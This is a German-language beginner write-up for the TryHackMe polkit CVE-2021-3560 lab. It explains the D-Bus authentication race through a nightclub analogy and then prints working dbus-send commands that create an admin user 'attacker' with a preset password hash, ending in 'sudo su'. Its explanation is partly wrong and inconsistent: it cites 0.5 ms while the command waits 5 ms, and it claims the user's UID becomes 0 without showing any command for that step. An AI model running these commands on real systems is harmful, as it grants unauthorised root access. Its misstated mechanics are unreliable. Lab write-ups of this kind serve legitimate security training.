realatharva15/polkit-cve-2021-3560_writeupAnfängerfreundlicher Write-up für das TryHackMe-Einsteigermodul- polkit:CVE-2021-3560
Zuerst prüfen wir die Version von Polkit, um bessere Einblicke zu erhalten.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
Ich habe DeepSeek verwendet, um eine einfache Analogie für dich zu erstellen, damit du das Konzept von PolicyKit besser verstehst.
Nachtclub: Polkit-System
Nachtclub (VIP-Bereich): Die privilegierten Systemdienste/-aktionen (Laufwerke einhängen, Software installieren, Netzwerk verwalten)
Türsteher an der Tür: Polkit selbst, der alle Zugriffsversuche abfängt
Gästeliste / Kleiderordnung: Polkit-Richtlinienregeln (gespeichert in /usr/share/polkit-1/actions/ und /etc/polkit-1/rules.d/)
VIP-Pass / Clubmitgliedschaft: In bestimmten Linux-Gruppen sein (wie wheel, sudo, storage, network)
ID-Prüfung: Polkit prüft Benutzeridentität und Gruppenmitgliedschaft
Besitzer / Manager Root: Benutzer (hat uneingeschränkten Zugriff auf alles)
Reguläre Gäste, die den VIP-Bereich betreten wollen: Normale Benutzer/Programme, die privilegierte Befehle ausführen wollen
Türsteher konsultiert das Regelbuch: Polkit prüft die konfigurierten Richtlinien für diese spezifische Aktion
Türsteher fragt nach speziellem Armband/Passwort: Authentifizierungsaufforderung (nach Passwort fragen)
Türsteher winkt jemanden ohne Prüfung durch: Aktion ohne Authentifizierung erlaubt (für vertrauenswürdige Benutzer/Gruppen)
polkit ist das sudo von systemd
Jetzt können wir diesen Nachtclub-Türsteher mit einigen hinterhältigen Anfragen ausnutzen, um die Anmeldedatenprüfung für die DBus-Anfragen zu umgehen.
Lass uns das anhand derselben vorherigen Nachtclub-Türsteher-Analogie verstehen.
Nehmen wir an, der normale Ablauf ist so: Der Türsteher prüft die Ausweise. Wenn die Person privilegiert genug ist, um diese bestimmte Aufgabe auszuführen, wird sie vom Türsteher hereingelassen. Um das auszunutzen, sendet der Angreifer jedoch eine Scheinanfrage an den Clubsekretär mit dem Inhalt „mach mich zum Clubmanager mit vollem Zugriff“. Wir haben nun 11 Millisekunden, bevor die Nachricht den Clubsekretär erreicht, und offensichtlich wird er diese Anfrage nicht akzeptieren. Also müssen wir die Anfrage innerhalb der halben Zeit, die sie benötigt, um den Sekretär zu erreichen, abbrechen, also 0,5 Millisekunden. Nun schnappen wir uns die Notiz mit der Anfrage zur Erhöhung unserer Privilegien, direkt bevor der Türsteher überprüfen kann, wer sie gesendet hat. Wir schnappen sie uns und der Türsteher kann nicht sagen, wer es getan hat. Die Notiz hat nun eine eindeutige Nummer, die jetzt verwaist ist. Die eindeutige Nummer existiert im System, aber die ursprüngliche Notiz ist weg. Das Standardprotokoll für den Umgang mit dieser Situation ist, dass der Türsteher annimmt, dass die Nachricht vom Clubbesitzer gesendet wurde, da das Handbuch es so vorsieht. Es läuft ungefähr so ab: Der Türsteher fragt: „Hey, wer hat diese Nachricht #12345 gesendet?“ Der DBus-Daemon schaut in seine Aufzeichnungen und sagt: „Ich habe die Verfolgung von #12345 in meinem Log, aber ich kann die eigentliche Nachricht nicht finden ... FEHLER“. Anstatt zu sagen, dass er nicht weiß, wer das gesendet hat, gibt der DBus-Daemon einen Fehlercode zurück. Das Schulungshandbuch des Türstehers hat einen Fehler. Das Handbuch besagt, dass man, wenn man nicht weiß, wer eine bestimmte Nachricht gesendet hat, und bei der ID-Prüfung einen Fehler erhält, davon ausgehen soll, dass sie vom Clubbesitzer (uid 0) stammt. Der Türsteher teilt dem Clubsekretär mit, dass diese Nachricht vom Clubbesitzer stammt, obwohl es nur ein Stellvertreter ist. Der Sekretär genehmigt dies, und der Clubsekretär erstellt ein neues Clubmanager-Konto für den Angreifer. Nun hat der Angreifer Privilegien, die denen des Root-Benutzers gleichkommen.
Jetzt schauen wir uns die Befehle an, mit denen wir sofort einen Benutzer namens attacker mit dem Passwort Expl01ted erhalten. Wir beginnen also mit den Befehlen:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Dieser Befehl erstellt einen Benutzer mit dem Namen attacker. Wir brechen direkt nach 0,5 Millisekunden ab, um zu verhindern, dass die Nachricht vom Türsteher (Polkit) gelesen wird. Der Benutzer attacker hat noch keinerlei Root-Anmeldedaten.
Um dem Benutzer attacker die dringend benötigten Root-Privilegien zu geben, verwenden wir den Befehl:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
Jetzt können wir sehen, dass die UID des Benutzers attacker 1000 ist.
Hier fügen wir die Benutzer-ID des ursprünglichen Benutzers attacker hinzu, der keinerlei Privilegien hatte. Dadurch wird sichergestellt, dass die ID des Benutzers attacker von 1000 auf 0 wechselt.
id attacker
Jetzt können wir sehen, dass sich die UID des Benutzers attacker von 1000 auf 0 geändert hat, was bedeutet, dass wir in der Gruppe des Root-Benutzers mit den höchsten Privilegien sind. Wir können von hier aus direkt Befehle als Root ausführen oder direkt in eine Root-Shell wechseln, je nachdem, was dir besser passt.
sudo su